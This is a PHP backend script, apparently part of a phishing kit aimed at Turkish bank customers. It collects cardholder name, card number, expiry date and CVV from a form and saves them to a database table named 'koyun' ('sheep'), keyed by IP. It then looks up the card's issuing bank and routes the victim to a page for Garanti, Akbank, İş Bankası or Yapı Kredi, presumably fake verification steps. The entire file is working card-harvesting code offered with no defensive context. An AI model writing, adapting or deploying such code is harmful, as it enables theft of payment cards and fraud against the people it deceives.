<?php 
if($_SERVER['REQUEST_METHOD'] == 'POST'){
	if(!empty($_POST['cc_name']) || !empty($_POST['cc_number']) || !empty($_POST['cc_skt']) || !empty($_POST['cc_cvv'])){
		include 'db.php';
		if(empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
			$_SERVER['HTTP_CF_CONNECTING_IP'] = $_SERVER['REMOTE_ADDR'];
		}

		$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
		date_default_timezone_set('Europe/Istanbul');
		$date = date('d.m.Y H:i:s');

		$cc_name = htmlspecialchars($_POST['cc_name']);
		$cc_number = htmlspecialchars($_POST['cc_number']);
		$cc_skt = htmlspecialchars($_POST['cc_skt']);
		$cc_cvv = htmlspecialchars($_POST['cc_cvv']);

		$q = $db->prepare("UPDATE koyun SET cc_name = :cc_name, cc_no = :cc_no, cc_skt = :cc_skt, cc_cvv = :cc_cvv WHERE ip = :ip");
		$q->bindParam(':cc_name', $cc_name);
		$q->bindParam(':cc_no', $cc_number);
		$q->bindParam(':cc_skt', $cc_skt);
		$q->bindParam(':cc_cvv', $cc_cvv);
		$q->bindParam(':ip', $ip);
		$f = $q->execute();

		if($f){
			$req = file_get_contents('https://lookup.binlist.net/'.str_replace(' ', '', $cc_number));
			$res = json_decode($req, true);
			session_start();

			if(strstr($res['bank']['name'], 'GARANTI') || strstr($res['bank']['name'], 'garanti')){
                $_SESSION['page'] = 'garanti.php';
            }else if(strstr($res['bank']['name'], 'AKBANK') || strstr($res['bank']['name'], 'akbank')){
                $_SESSION['page'] = 'akbank.php';
            }else if(strstr($res['bank']['name'], 'IS BANKASI') || strstr($res['bank']['name'], 'is bankasi')){
                $_SESSION['page'] = 'isbankasi.php';
            }else if(strstr($res['bank']['name'], 'YAPI VE KREDI') || strstr($res['bank']['name'], 'yapi ve kredi') || strstr($res['bank']['name'], 'YAPI KREDI') || strstr($res['bank']['name'], 'yapi kredi')){
                $_SESSION['page'] = 'yapikredi.php';
            }else{
                $_SESSION['page'] = 'other.html';
            }

            $q = $db->prepare("UPDATE koyun SET brand = :b, ctype = :c, bank = :ba WHERE ip = :ip");
            $q->bindParam(':ba', $res['bank']['name']);
			$q->bindParam(':b', $res['brand']);
			$q->bindParam(':c', $res['type']);
			$q->bindParam(':ip', $ip);
			$f = $q->execute();

			$data = [
				'status' => true
			];
			die(json_encode($data));
		}else{
			$data = [
				'status' => false,
				'message' => 'Sistemsel bir hata oluştu'
			];
			die(json_encode($data));
		}
	}else{
		$data = [
			'status' => false,
			'message' => 'Tüm alanları doldurmak zorundasınız'
		];
		die(json_encode($data));
	}
}
?>